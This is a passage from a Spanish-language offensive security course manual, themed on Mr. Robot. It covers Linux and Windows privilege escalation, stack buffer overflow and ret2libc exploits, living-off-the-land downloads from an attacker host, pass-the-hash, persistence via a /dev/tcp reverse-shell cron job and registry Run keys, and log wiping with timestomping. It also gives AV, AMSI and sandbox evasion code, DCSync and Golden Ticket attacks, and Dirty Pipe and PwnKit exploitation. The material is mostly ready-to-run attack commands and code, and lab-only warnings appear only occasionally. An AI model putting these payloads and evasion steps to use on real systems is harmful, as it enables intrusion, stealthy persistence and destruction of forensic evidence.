# Colores LinPEAS – como leer el output
# ROJO/AMARILLO -> 95% es PE vector – prioridad maxima
# AMARILLO      -> interesante, puede llevar a PE
# VERDE         -> informacion util
# AZUL          -> informacion de sistema (menos critica)

# Buscar en el output:
grep -i 'CVE\|exploit\|SUID\|sudo\|writable\|password\|cred' /tmp/linpeas.txt
```

5.4 Vectores de escalada – los mas comunes

[INTERMEDIO]

Windows privilege escalation

```
> whoami /all          # privilegios actuales
> systeminfo          # OS, parches instalados
> .\winPEASany.exe     # enumeracion completa

# AlwaysInstallElevated
> reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
> reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si ambos = 0x1:
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi > evil.msi
> msixexec /quiet /qn /i evil.msi

# Servicios con ruta sin comillas (Unquoted Service Path)
> wmic service get name,displayname,pathname,startmode | findstr /i /v 'C:\Windows\'
# C:\Program Files\Vulnerable App\service.exe
# -> Crear C:\Program.exe o C:\Program Files\Vulnerable.exe

# Token impersonation (si SeImpersonatePrivilege habilitado)
> whoami /priv # buscar SeImpersonatePrivilege
> .\PrintSpoofer.exe -i -c cmd # o GodPotato, JuicyPotato
```

[CHECKLIST: CHECKLIST POST-EXPLOTACION COMPLETA]

- ☒ Shell estabilizada (pty + stty)
- ☒ Usuario y grupos identificados
- ☒ Version de OS y kernel documentados
- ☒ sudo -l ejecutado y resultado analizado
- ☒ Binarios SUID listados y revisados en gtfobins
- ☒ Cron jobs revisados (crontab + /etc/cron*)
- ☒ LinPEAS ejecutado y output guardado
- ☒ Credenciales buscadas en archivos de config
- ☒ Puertos locales revisados (ss -tlnp)
- ☒ Si root: dump de /etc/shadow + secretos

[ERRORES COMUNES]

- x No estabilizar la shell – perder la sesion por Ctrl+C accidental es frustrante
- x Ejecutar LinPEAS y solo buscar rojo – leer el output completo sistemáticamente
- x Ir directo al exploit de kernel – los vectores de config son mucho mas faciles
- x No buscar credenciales despues de escalar – hay que ir mas lejos en la red
- x Olvidar revisar puertos locales – servicios internos = pivoting interno

[?] Ejercicio #5: En Metasploitable2: obtenga una reverse shell via alguna vulnerabilidad. Estabilizala con pty+stty. Ejecuta LinPEAS. Identifica al menos 3 vectores de escalada distintos. Escala hasta root por el vector que elijas. Documenta cada paso.

Buffer overflow setup

```
# Compilar binario vulnerable (sin protecciones para aprender)
$ cat vuln.c
void vulnerable(char *input) {
    char buf[64];
    strcpy(buf, input); // sin verificacion de tamano
}
int main(int argc, char *argv[]) { vulnerable(argv[1]); return 0; }
```

```
$ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
$ checksec vuln # verificar que protecciones desactivamos
```

```
# PASO 1: Confirmar crash
$ python3 -c "print('A'*200)" | ./vuln
# Segmentation fault!
```

```
# PASO 2: Encontrar offset exacto con GDB+PEDA
```

```
$ gdb ./vuln
(gdb) pattern create 200
AAA%AAs%AA(AA;AA)AA... # patron unico
(gdb) run 'AAA%AAs%AA(AA;AA)...'
# Program received signal SIGSEGV
(gdb) pattern offset $eip
76 found at offset: 76 # OFFSET = 76
```

Exploit bof 32-bit

```
# PASO 3: Verificar control del EIP
```

```
$ python3 -c "import sys;sys.stdout.buffer.write(b'A'*76 + b'B'*4)" > /tmp/payload
$ gdb ./vuln
(gdb) run $(cat /tmp/payload)
# EIP = 0x42424242 (BBBB) -> CONTROL CONFIRMADO
```

```
# PASO 4: Encontrar espacio para shellcode y return address
```

```
(gdb) info registers esp
esp = 0xffffd000 # direccion del stack
(gdb) x/100x $esp # inspeccionar stack
```

```
# PASO 5: Generar shellcode (execve /bin/sh)
```

```
$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00' --arch x86 --platform linux
# Guardamos en SHELLCODE variable
```

```
# PASO 6: Construir exploit
```

```
OFFSET = 76
RET_ADDR = b'\xf0\xd2\xff\xff' # addr NOP sled en stack
NOP_SLED = b'\x90' * 32
SHELLCODE = b'\x31\xc0\x50...'
payload = b'A'*OFFSET + RET_ADDR + NOP_SLED + SHELLCODE
# El NOP sled nos da margen de error en la direccion exacta
```

6.3 ret2libc – bypass de NX/DEP

[AVANZADO]

Cuando NX (No-Execute) esta activo, el stack no es ejecutable. No podemos poner shellcode ahi. Pero podemos llamar a funciones que YA EXISTEN en libc – como system('/bin/sh').

```
ret2libc manual

# ret2libc manual (32-bit)
# Necesitamos:
# 1. Direccion de system() en libc
# 2. Direccion de exit() en libc (para retorno limpio)
# 3. Direccion de '/bin/sh' en libc

$ gdb ./vuln
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xf7e05f80 <exit>
(gdb) find &system, +99999999, '/bin/sh'
0xf7f57bac # -> esta es la direccion de '/bin/sh' en libc

# Payload ret2libc:
# [PADDING][SYSTEM_ADDR][EXIT_ADDR][BINSH_ADDR]
OFFSET      = 76
SYSTEM      = b'\x20\x24\xe1\xf7' # direccion de system()
EXIT        = b'\x80\x5f\xe0\xf7' # exit() como return de system
BINSH       = b'\xac\x7b\xf5\xf7' # '/bin/sh' en libc
payload = b'A'*OFFSET + SYSTEM + EXIT + BINSH
```

6.4 Ghidra – reversing de binarios sin código fuente

[AVANZADO]

FLUJO EN GHIDRA

1. ghidra -> Create New Project -> Import File -> tu binario
2. Doble click en el binario -> Analyze -> Yes to All (esperar)
3. Functions -> buscar: main(), vulnerable(), check_auth()
4. Window -> Decompile -> ver pseudocódigo C automatico
5. Search -> For Strings -> strings hardcodeadas (passwords, keys)
6. Buscar: strcpy, gets, sprintf, scanf sin limite -> buffer overflow
7. Buscar: strcmp comparando password -> analizar logica de bypass
8. Cross-references: click derecho en funcion -> References -> Show

Análisis real en Ghidra

```
# Caso real de analisis en Ghidra:

# Funcion decompilada por Ghidra:
void check_license(char *key) {
    char buf[32];          // buffer de solo 32 bytes
    strcpy(buf, key);      // <- BUFFER OVERFLOW aquí
    if (strcmp(buf, "FSOCIETY-2026-VALID") == 0) {
        printf("License valid!\n");
        grant_access();    // <- funcion objetivo
    }
}

# Que vemos:
# 1. Buffer overflow en strcpy -> podemos sobrescribir RET
# 2. Comparacion con string hardcodeado -> podemos bypasear sin BOF
# 3. grant_access() existe -> podemos hacer ret2win directamente

# Encontrar direccion de grant_access en Ghidra:
# Functions -> grant_access -> ver direccion en columna izquierda
# 0x08048576 <- usar esta en RET del exploit
```

[PLAYBOOK: METODOLOGIA BOF – DESDE CERO]

- 1** checksec – identificar protecciones activas (ASLR, NX, canary, PIE)
- 2** fuzz – enviar inputs crecientes hasta crash
- 3** pattern create + offset – encontrar offset exacto del EIP/RIP
- 4** bad chars – identificar bytes que el programa rechaza
- 5** return address – stack directa si NX off, ret2libc si NX on
- 6** shellcode – generar con msfvenom (si NX off) o usar gadgets ROP
- 7** exploit.py – script python con pwntools para reproducibilidad
- 8** probar primero en GDB, luego fuera de GDB (direcciones cambian!)

[ERRORES COMUNES]

- x Olvidar que GDB cambia las direcciones del stack vs fuera de GDB
- x No identificar bad chars antes – un \x00 puede truncar el payload
- x No usar NOP sled cuando la direccion de retorno es aproximada
- x Saltarse checksec – intentar BOF simple cuando hay stack canary activo
- x No documentar cada direccion encontrada – el exploit tiene que ser reproducible

[?] Ejercicio #6: Descarga protostar (exploit.education). Resuelve stack0, stack1, stack2 y stack3 en orden. Cada uno agrega una proteccion mas. Documenta el exploit para cada uno con el comando exacto y la explicacion de por que funciona.

MOD 7 GHOST PROTOCOL

LOTL, Pass-the-Hash, forense y persistencia

"No solo entras. Entras, haces lo que tienes que hacer, y desapareces. Como si nunca hubieras existido."

[AVANZADO] La diferencia entre un pentest y un incidente real

[Elliot]

Las mejores intrusiones son las que nadie detecta. Ni siquiera despues. No dejo logs. No dejo binarios. Solo uso lo que ya tiene la maquina.

[Whiterose]

El tiempo es la unica variable que importa. No desperdicies el tuyo dejando rastros que cualquier analista forense puede seguir.

[HACKER MINDSET]

- > LOTL = Living off the Land. El sistema ya tiene las armas. Usalas.
- > Cada binario que subes es un IOC (Indicator of Compromise). Evitalos.
- > La limpieza forense no es borrar evidencias ilegalmente – es entender que rastras dejas.
- > Persistencia sin ruido: usa mecanismos que el sistema ya usa normalmente.
- > El operador fantasma no es invisible – es indistinguible del trafico legitimo.

7.1 Living off the Land – Windows

[AVANZADO]

LOTL Windows – binarios del sistema

```
# certutil – descarga de archivos (bypasea filtros de red en muchos casos)
certutil.exe -urlcache -split -f http://TU_IP/payload.exe C:\Temp\p.exe

# wmic – ejecucion remota de procesos
wmic process call create 'powershell.exe -nop -w h -e BASE64'
wmic /node:TARGET /user:DOMAIN\user /password:pass process call create 'cmd.exe /c whoami'

# schtasks – persistencia con apariencia legitima
schtasks /create /tn 'Windows Defender Update' /tr 'C:\Temp\payload.exe' /sc onlogon /ru SYSTEM
schtasks /run /tn 'Windows Defender Update'

# mshta – ejecutar HTA (HTML Application) – bypassa AppLocker basico
mshta http://TU_IP/payload.hta

# regsvr32 – bypass de AppLocker via COM
regsvr32 /s /n /u /i:http://TU_IP/payload.sct scrobj.dll

# bitsadmin – descarga silenciosa (legitimo proceso de Windows Update)
bitsadmin /transfer job /download /priority normal http://TU_IP/p.exe C:\Temp\p.exe
```

7.2 Pass-the-Hash – autentificacion sin password

[AVANZADO]

En Windows, los hashes NTLM pueden usarse directamente para autentificacion sin conocer el password en texto claro. Esto es posible porque el protocolo NTLM acepta el hash como prueba de identidad.

```

Pass-the-Hash con impacket

# OBTENER HASHES
# Con Meterpreter:
meterpreter> hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#
#
# Este es el hash NTLM que usamos

# Con secretsdump (desde Linux, con credenciales)
$ secretsdump.py DOMAIN/Admin:Password@DC_IP
$ secretsdump.py -hashes :NTLM_HASH DOMAIN/Admin@DC_IP

# USAR HASHES PARA AUTENTICACION (Pass-the-Hash)
# psexec — shell remota
$ psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH Admin@TARGET

# wmiexec — mas silencioso (no crea servicios)
$ wmiexec.py -hashes :NTLM_HASH Admin@TARGET

# smbexec — aun mas silencioso
$ smbexec.py -hashes :NTLM_HASH Admin@TARGET

# crackmapexec — spray en multiples hosts
$ crackmapexec smb 192.168.1.0/24 -u Admin -H NTLM_HASH --local-auth
# Buscar: (Pwn3d!) en el output -> admin local confirmado

```

7.3 Persistencia sigilosa

[AVANZADO]

```

Persistencia

# Linux — persistencia en cron (usuario actual)
$ (crontab -l 2>/dev/null; echo '@reboot bash -c "bash -i >& /dev/tcp/TU_IP/4444 0>&1") | crontab >

# Linux — SSH authorized_keys (si tenemos acceso al home del usuario)
$ mkdir -p ~/.ssh && echo 'TU_CLAVE_PUBLICA_SSH' >> ~/.ssh/authorized_keys
$ chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys

# Windows — clave de registro Run (se ejecuta al login)
> reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
  /v 'WindowsUpdate' /t REG_SZ /d 'C:\Temp\payload.exe' /f

# Windows — WMI event subscription (muy sigiloso, sobrevive reinicios)
# Crear suscripcion que ejecuta payload cuando el sistema arranca
> Invoke-WMIMethod -Namespace root/subscription ...

```

7.4 Limpieza forense — Linux

SOLO EN TU LABORATORIO

La eliminacion de evidencias en sistemas reales es un delito adicional grave.
 Esto lo aprendes para entender QUE buscan los forenses, no para evadir investigaciones.

Limpieza forense Linux

```
# Historia de bash
$ history -c && history -w
$ export HISTFILE=/dev/null
$ cat /dev/null > ~/.bash_history

# Borrado seguro con shred
$ shred -vfzu -n 10 archivo_sensible
$ shred -vfzu -n 3 /var/log/auth.log # solo en tu lab

# Eliminar registros de login especificos
$ utmpdump /var/log/wtmp | grep -v 'TU_IP' | utmpdump -r > /tmp/wtmp_clean
$ mv /tmp/wtmp_clean /var/log/wtmp
$ utmpdump /var/log/btmp | grep -v 'TU_IP' | utmpdump -r > /tmp/btmp_clean
$ mv /tmp/btmp_clean /var/log/btmp

# Timestamps — enmascarar cuando se accedio a un archivo
$ touch -t 202001010000.00 archivo.txt # cambiar a 1 Jan 2020
$ touch -r archivo_referencia.txt objetivo.txt # copiar timestamps
```

Artefacto	Ubicacion Linux	Que revela
bash_history	~/.bash_history	Comandos ejecutados
Auth log	/var/log/auth.log	Logins, sudo, SSH
wtmp/btmp	/var/log/wtmp, btmp	Logins/intentos fallidos
syslog	/var/log/syslog	Actividad del sistema
cron log	/var/log/cron.log	Cron jobs ejecutados
lastlog	/var/log/lastlog	Ultimo login de cada usuario
~/.ssh/known_hosts	home del usuario	Hosts a los que te conectaste
Prefetch (Win)	C:\Windows\Prefetch\	Ejecutables corridos recientes

[?] Ejercicio #7: En tu VM Kali: ejecuta 10 comandos distintos. Luego limpia el historial con los metodos del modulo. Verifica con 'history' que esta limpio. Luego crea un archivo y cambia sus timestamps a 2015. Comprueba con 'stat'. El inode timestamp (ctime) cambio tambien?

MOD 8 AV/EDR EVASION AVANZADA

Bypass de defensas modernas y deteccion

"Los antivirus buscan firmas. Yo cambio el idioma cada vez que hablo."

[AVANZADO] Relevante para red team y simulacion de adversarios

[HACKER MINDSET]

- > Entender como funciona un AV es la mejor forma de bypasearlo.
- > Las firmas son el pasado. Los EDR modernos detectan comportamiento.
- > Evasion = parecer legitimo, no parecer invisible.
- > In-memory execution elimina la deteccion estatica completamente.
- > Cada tecnica de evasion tiene una contramedida. El juego no termina.

8.1 Como funciona un AV/EDR – lo que realmente hacen

Capa	Tecnica de deteccion	Como bypass
AV estatico	Firma hash del binario	Modificar el binario (XOR, packing)
AV heuristico	Patrones sospechosos en codigo	Ofuscar strings, apis
AMSI	Escaneo de scripts en memoria	AMSI bypass antes de ejecutar
EDR hooks	API hooking en user-land	Direct syscalls, unhooking
EDR comportamiento	Correlacion de eventos	LOTL, cadenas de acciones distintas
Sandbox	Ejecutar en entorno virtual	Sleep largo, user interaction check

8.2 Evasion de firmas – tecnicas practicas

[AVANZADO]

Evasion de firmas

```
# 1. XOR encoding del shellcode
key = 0x41
shellcode = b'\xfc\x48\x83\xe4\xf0...'
encoded = bytes([b ^ key for b in shellcode])

# Stub de decode en C + ejecutar en memoria
#include <windows.h>
unsigned char enc[] = { 0xbd, 0x09, 0xc2, ... }; // shellcode XOR'd
int main() {
    unsigned char dec[sizeof(enc)];
    for (int i = 0; i < sizeof(enc); i++) dec[i] = enc[i] ^ 0x41;
    DWORD old;
    VirtualProtect(dec, sizeof(dec), PAGE_EXECUTE_READWRITE, &old);
    ((void(*)())dec)();
    return 0;
}

# 2. msfvenom con encoder
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 \
-e x64/xor_dynamic -i 15 -f exe -o payload_encoded.exe

# 3. Cambiar strings obvios del binario (strings que buscan los AV)
# Antes: 'cmd.exe' -> Despues: 'c'+ 'm'+ 'd'+ '.exe' (construir en runtime)
# Antes: 'VirtualAlloc' -> usar hash de la funcion en lugar del nombre
```

8.3 AMSI Bypass – PowerShell

[AVANZADO]

AMSI Bypass

```
# AMSI (Antimalware Scan Interface) escanea scripts PowerShell en memoria

# Bypass clasico — parchear amsiInitFailed en memoria
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
    .GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Version ofuscada (evitar que el string mismo dispare AMSI)
$a = [Ref].Assembly.GetType('System.Management.Automation.'+'AmsiUtils')
$b = $a.GetField('amsi'+ 'InitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Verificar que AMSI esta bypassado
'amsicontext' # si no hay error, AMSI esta caido

# Bypass via memoria (mas robusto para EDR moderno)
# Usar Invoke-Bypass o similares de repositorios de red team
```

8.4 Sandbox Evasion — detectar si estas siendo analizado

[AVANZADO]**Sandbox evasion**

```
# Tecnicas para detectar sandbox y no ejecutar si lo estan analizando

# 1. Sleep check — sandbox acelera el tiempo
import time
start = time.time()
time.sleep(30) # esperar 30 segundos
if time.time() - start < 20:
    exit() # probablemente sandbox

# 2. User interaction check
import ctypes
lastInput = ctypes.windll.user32.GetLastInputInfo
# Si no hay movimiento de raton -> probablemente sandbox

# 3. Verificar numero de procesos (sandbox tiene pocos)
import subprocess
result = subprocess.run(['tasklist'], capture_output=True)
if result.stdout.count(b'\n') < 50:
    exit() # < 50 procesos = sandbox

# 4. Verificar nombre de usuario tipicos de sandboxes
import os
if os.environ.get('USERNAME', '').lower() in ['sandbox','malware','test','virus']:
    exit()
```

[CHECKLIST: CHECKLIST PRE-EJECUCION DE PAYLOAD]

- ☒ checksec + AV scan inicial para entender el entorno
- ☒ Payload ofuscado con al menos 2 capas (XOR + encoding)
- ☒ Strings sensibles contruidos dinamicamente (no hardcodeados)
- ☒ AMSI bypass preparado si es PowerShell
- ☒ Sleep/sandbox check si es malware simulado en lab
- ☒ Probar en VM con Defender activo antes de presentar al cliente
- ☒ Documentar tecnica usada para el informe

[?] Ejercicio #8: Genera un payload con msfvenom. Escanea con VirusTotal (solo en lab, sin datos reales). Aplica XOR encoding manual con Python. Cuantos AV lo detectan antes y despues? Que concluyes sobre la deteccion basada en firmas?

MOD 9

ACTIVE DIRECTORY

Enumeracion, Kerberoasting, DCSync, Golden Ticket

"E Corp tiene miles de empleados. Todos tienen cuenta. Solo necesito una para gobernar todas."

[AVANZADO] El 80% de los entornos corporativos reales usan AD

[Elliot]

Active Directory es el castillo de naipes de las Fortune 500. Una cuenta comprometida puede llevarte al Domain Admin si sabes leer el grafo de privilegios.

[Mr. Robot]

BloodHound. Construye el grafo. Busca el camino. No explotas AD con fuerza bruta. Lo explotas con LOGICA.

[HACKER MINDSET]

- > AD no se hackea con exploits. Se hackea abusando de diseno y configuracion.
- > BloodHound primero, siempre. Construye el mapa antes de moverte.
- > Kerberoasting: cualquier usuario autenticado puede pedir tickets de servicio.
- > Pass-the-Hash/Ticket: en Windows, el hash ES la identidad.
- > Domain Admin no es el final. Persistencia con Golden Ticket es el final.

9.1 Conceptos fundamentales

Concepto	Descripcion	Relevancia
Domain Controller	Servidor central que gestiona autenticacion	Objetivo principal
Kerberos	Protocolo de autenticacion – usa tickets	Base de todos los ataques
TGT	Ticket Granting Ticket – identidad en Kerberos	Borgar = Golden Ticket
TGS	Ticket de servicio especifico	Kerberoasting extrae estos
SPN	Service Principal Name – identifica servicios	Cuentas con SPN = kerberoastable
krbtgt	Cuenta que firma todos los tickets del dominio	Domain hash = poder total
NTLM hash	Hash de la password Windows	Pass-the-Hash / cracking
BloodHound	Grafo de relaciones y permisos en AD	Encontrar rutas a DA

[PLAYBOOK: AD ATTACK PATH – FLUJO TIPICO]

- 1 Obtener credenciales iniciales (phishing, password spray, vuln web)
- 2 BloodHound – mapear relaciones y permisos del dominio
- 3 Kerberoasting – extraer hashes de cuentas de servicio
- 4 Crackear hashes offline con hashcat + rockyou
- 5 Si falla: AS-REP Roasting en cuentas sin preauth
- 6 Enumerar shares SMB – buscar credenciales en scripts/configs
- 7 Lateral movement con Pass-the-Hash hacia cuentas de mayor privilegio
- 8 Si hay admin local en algun DC: DCSync para todos los hashes
- 9 Golden Ticket con hash de krbtgt – persistencia total

9.2 Enumeracion de AD

[AVANZADO]

9.5 DCSync y Golden Ticket

[AVANZADO]

DCSync + Golden Ticket

```
# DCSYNC — requiere permisos de replicacion (Domain Admin o delegado)
$ secretsdump.py empresa.local/DomainAdmin:password@DC_IP
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
empresa.local\Administrator:500:aad3b435b51404eea:fc525c9683e8fe067095ba2ddc971889:::
empresa.local\krbtgt:502:aad3b435b51404ee:b0975ae49f441adc6b024ad238935af1:::

# GOLDEN TICKET — usar hash de krbtgt para forjar TGT para CUALQUIER usuario
# Necesitas: hash NTLM de krbtgt + SID del dominio

$ lookupsid.py empresa.local/Admin:password@DC_IP
[*] Domain SID is: S-1-5-21-123456789-987654321-111222333

$ ticketer.py -nthash KRBTGT_NTLM_HASH \
  -domain-sid S-1-5-21-123456789-987654321-111222333 \
  -domain empresa.local Administrador

# Usar el ticket golden
$ export KRB5CCNAME=Administrador.ccache
$ psexec.py -k -no-pass empresa.local/Administrador@DC_IP
```

SOLO EN TU LABORATORIO

Estas tecnicas afectan TODO el dominio. En produccion sin autorizacion es delito grave.
Lab recomendado: Windows Server 2019 Evaluation (gratis) como DC.
Usar GOAD (Game of Active Directory) — lab AD vulnerable listo para usar.

[?] Ejercicio #9: Monta un lab AD minimo: 1 Windows Server 2019 DC + 1 Windows 10 workstation. Crea 5 usuarios, 2 con SPN. Ejecuta BloodHound + Kerberoasting. Sigue el camino de BloodHound hasta Domain Admin. Documenta el attack path completo con capturas.

MOD 10

KERNEL EXPLOITATION

Ring 0, CVEs de kernel, ret2usr, SMEP/SMAP

"Cuando el espacio de usuario ya no tiene secretos, bajas mas. Mucho mas."

[AVANZADO]

Nivel expert — requiere dominar los modulos anteriores

[Elliot]

El kernel es el dios de la maquina. Si lo controlas, controlas todo. No hay sandbox que te detenga. No hay AV que te detecte. Eres el sistema.

[Mr. Robot]

Y con ese poder viene la responsabilidad mas pesada. Un exploit de kernel mal ejecutado puede crashear el servidor. Tienes que ser perfecto.

[HACKER MINDSET]

> Kernel exploitation no se improvisa. Se estudia, se practica en lab, se comprende.

> Un bug de kernel puede afectar millones de sistemas. La responsabilidad es enorme.

> La practica etica aqui es: entornos virtuales aislados, SIEMPRE.

> No necesitas escribir exploits de kernel para ser un gran pentester.

> Pero entender COMO funcionan te hace mucho mejor analista y defensor.

10.1 Ring 0 vs Ring 3 – el modelo de privilegios

Modelo de anillos

Modelo de anillos de proteccion x86

■ Ring 3 – USER SPACE

■ Aplicaciones, shells, herramientas

■ Acceso LIMITADO al hardware

■ Errores aqui: segfault, proceso muere

■ syscall interface

■ Ring 0 – KERNEL SPACE

■ Drivers, scheduler, memoria, filesystem

■ Acceso TOTAL al hardware

■ Errores aqui: kernel panic, sistema muere

■ Si lo controlas: controlas TODO

Objetivo del kernel exploit: pasar de Ring 3 a Ring 0

Como: encontrar vulnerabilidad en kernel que permita ejecutar codigo privilegiado

10.2 CVEs de escalada por kernel – tabla de referencia

CVE	Nombre	Kernels	Tipo
CVE-2016-5195	Dirty COW	< 4.8.3	Race condition – RW en archivos RO
CVE-2021-3156	Baron Samedit	sudo < 1.9.5p2	Heap overflow en sudo
CVE-2022-0847	Dirty Pipe	5.8 - 5.16.11	Escritura en archivos via pipe
CVE-2021-4034	PwnKit	pkexec todos	LPE universal en pkexec/polkit
CVE-2022-2588	–	5.15.x	Use-after-free en netfilter
CVE-2023-0386	OverlayFS	< 6.2	SUID via overlayfs
CVE-2024-1086	–	5.14 - 6.6	UAF en netfilter nf_tables

Detectar CVEs

```
# Detectar version del kernel y buscar CVEs aplicables
$ uname -r
5.15.0-58-generic

# linux-exploit-suggester
$ ./linux-exploit-suggester.sh
[+] [CVE-2022-2588] exploit ...
[+] [CVE-2022-0847] Dirty Pipe

# Verificar pkexec para PwnKit
$ ls /usr/bin/pkexec
$ pkexec --version # cualquier version no parcheada = vulnerable
```

10.3 Dirty Pipe – CVE-2022-0847

[AVANZADO]

Dirty Pipe permite a cualquier usuario sin privilegios sobrescribir contenido en archivos de solo lectura via el mecanismo de pipes. Afecto a millones de servidores Linux desde 2022 hasta que se parcho.

Dirty Pipe exploit

```
# Verificar si el kernel es vulnerable
$ uname -r
5.10.90 # entre 5.8 y 5.16.11 -> vulnerable

# Exploit publico (Dirty Pipe original de Max Kellermann)
$ wget http://TU_IP/dirty_pipe.c
$ gcc dirty_pipe.c -o dirty_pipe

# Tecnica 1: sobrescribir /etc/passwd para dar root sin password
$ ./dirty_pipe /etc/passwd 1 'root::0:0:root:/root:/bin/bash'
[+] Backed up file to /tmp/passwd.bak
[+] Patched file!
$ su root
# id
uid=0(root) gid=0(root)

# Tecnica 2: sobrescribir SUID binary con shellcode
# (Mas avanzado — buscar writeup de Dirty Pipe SUID)
```

10.4 PwnKit – CVE-2021-4034

[AVANZADO]

PwnKit es una vulnerabilidad en pkexec (parte de polkit) presente en practicamente todos los sistemas Linux desde 2009 sin parche. Cualquier usuario puede obtener root con este exploit.

PwnKit exploit

```
# Verificar si pkexec existe (casi todos los Linux lo tienen)
$ which pkexec && pkexec --version

# Exploit publico (Blasty, disponible en GitHub)
$ make # compilar el exploit de pwnkit
$ ./pwnkit
# id
uid=0(root) gid=0(root) groups=0(root)

# Alternativa: version Python (sin compilar)
$ python3 pwnkit.py

# Verificar si esta parcheado
$ apt-cache show policykit-1 | grep Version
# 0.105-33 en Ubuntu = VULNERABLE
# 0.105-33ubuntu1~20.04.1 = PARCHEADO
```

10.5 Laboratorio y recursos de kernel pwn

PLATAFORMAS PARA APRENDER KERNEL EXPLOITATION

pwn.college -> kernelpwn module (gratis y estructurado)
exploit.education -> Phoenix VM (stack, heap, kernel)
HackTheBox -> machines con kernel exploits (nivel Insane)
TryHackMe -> rooms de privilege escalation con CVEs reales
ret2school.github.io -> teoria de kernel exploitation en español

Lab de kernel exploitation

```
# Entorno QEMU para kernel debugging seguro
$ sudo apt install qemu-system-x86 gdb

# Arrancar kernel custom con debugging
$ qemu-system-x86_64 -kernel bzImage \
  -append 'console=ttyS0 nokaslr' \
  -initrd initramfs.cpio.gz \
  -nographic -s -S # -s = gdbserver, -S = pausar al inicio

# En otra terminal, conectar GDB
$ gdb -ex 'target remote :1234' vmlinux
(gdb) c # continuar ejecucion
(gdb) break __x64_sys_open # breakpoint en syscall open

# Herramientas adicionales:
# syzkaller – fuzzing de syscalls del kernel (de Google)
# kernelpop – encontrar CVEs de kernel aplicables
# lpe_suggest – script alternativo a LES
```

[ERRORES COMUNES]

- × Ejecutar exploits de kernel en produccion sin entender el impacto
- × No hacer snapshot de la VM antes de probar – un crash malo requiere restaurar
- × Ir directo a kernel exploits sin probar vectores mas faciles primero
- × No verificar la version exacta del kernel antes de ejecutar el exploit

[?] Ejercicio #10: Monta una VM con Ubuntu 20.04 (kernel 5.10). Verifica si es vulnerable a Dirty Pipe y/o PwnKit. Ejecuta el exploit en tu VM. Documenta: version del kernel, CVE usado, pasos exactos, como se mitiga.

APE A PLATAFORMAS Y HERRAMIENTAS

Recursos verificados para practicar

A.1 Plataformas de practica – donde aprender de verdad

Plataforma	URL	Nivel	Costo
TryHackMe	tryhackme.com	Principiante	Freemium
HackTheBox	hackthebox.com	Intermedio+	Freemium
VulnHub	vulnhub.com	Todos	Gratuito
PicoCTF	picoctf.org	Principiante	Gratuito
pwn.college	pwn.college	Avanzado	Gratuito
exploit.education	exploit.education	Intermedio	Gratuito
PortSwigger Academy	portswigger.net/web-security	Todos	Gratuito
OWASP WebGoat	instalable via Docker	Principiante	Gratuito
DVWA	instalable via Docker	Principiante	Gratuito
GOAD	github.com/Orange-Cyberdefense	Avanzado	Gratuito

A.2 Herramientas esenciales – instalacion de una vez

Instalacion masiva de herramientas

```
$ sudo apt update && sudo apt upgrade -y
$ sudo apt install -y \
# Reconocimiento
nmap amass subfinder theHarvester \
# Web hacking
gobuster ffuf feroxbuster nikto sqlmap \
# Exploitation
metasploit-framework socat rlrwrap netcat-openbsd \
# Post-explotacion
crackmapexec enum4linux-ng smbmap \
# AD
impacket-scripts bloodhound neo4j \
# Reversing
ghidra gdb pwndbg radare2 \
# Desarrollo de exploits
python3-pwntools gcc gdb-peda \
# Miscelanea
tmux vim curl wget git jq
```

A.3 Libros y canales recomendados

LIBROS (algunos con edicion libre o en librerias tecnicas)

The Web Application Hacker's Handbook – Stuttard & Pinto (web fundamental)
 Hacking: The Art of Exploitation – Jon Erickson (buffer overflow, C)
 Penetration Testing – Georgia Weidman (practico, end-to-end)
 Red Team Development and Operations – Joe Vest
 The Hacker Playbook 3 – Peter Kim (red team moderno)

CANALES YOUTUBE (verificados, activos)

IppSec – walkthrough HackTheBox maquinas retiradas
 John Hammond – CTF, malware analysis, vulnerabilidades reales
 LiveOverflow – binario, browser bugs, CTF nivel alto
 TheCyberMentor – pentesting practico beginner-friendly
 S4vitar – contenido en espanol, HTB, privesc

RECURSOS ONLINE GRATUITOS

gtfobins.github.io – escalada con binarios SUID/sudo
lolbas-project.github.io – LOTL binarios de Windows
exploit-db.com – exploits publicos para CVEs conocidos
cvedetails.com – buscar CVEs por version de software
book.hacktricks.xyz – la enciclopedia del pentesting (actualizada)

APE B

PLANTILLA PENTEST REPORT

Estructura profesional que los clientes pagan

"Un pentest sin informe es como un diagnostico medico sin receta. El valor esta en el papel, no en el hack."

B.1 Estructura del informe profesional

Seccion	Audiencia	Longitud tipica
Portada + metadata	Todos	1 pagina
Resumen ejecutivo	C-Level	1-2 paginas
Alcance y metodologia	Tecnicos	1 pagina
Hallazgos criticos	Todos	2-3 por hallazgo
Cronologia de prueba	Tecnicos	1-2 paginas
Conclusiones	Todos	1 pagina
Remediation roadmap	Dev/SecOps	1-2 paginas
Evidencias tecnicas	Tecnicos	Variable

B.2 Plantilla de hallazgo – el corazon del informe

Plantilla de hallazgo

```
## HALLAZGO-001: SQL Injection en parametro 'id'

| Campo          | Detalle                                     |
| Severidad      | CRITICA (CVSS 9.8)                         |
| Sistema afect. | https://app.cliente.com/products          |
| CVE            | CWE-89 SQL Injection                       |
| Fecha detectada | 2026-04-15                                |

**Descripcion:**
El parametro 'id' en la URL /products?id=1 no sanitiza
el input del usuario. Es posible extraer toda la base de datos.

**Evidencia:**
$ sqlmap -u 'https://app.cliente.com/products?id=1' --dbs --batch
[+] Database: produccion_db
[+] Tables: users, orders, credentials
[+] Dump: admin:$2y$10$XXXXXX (bcrypt hash)

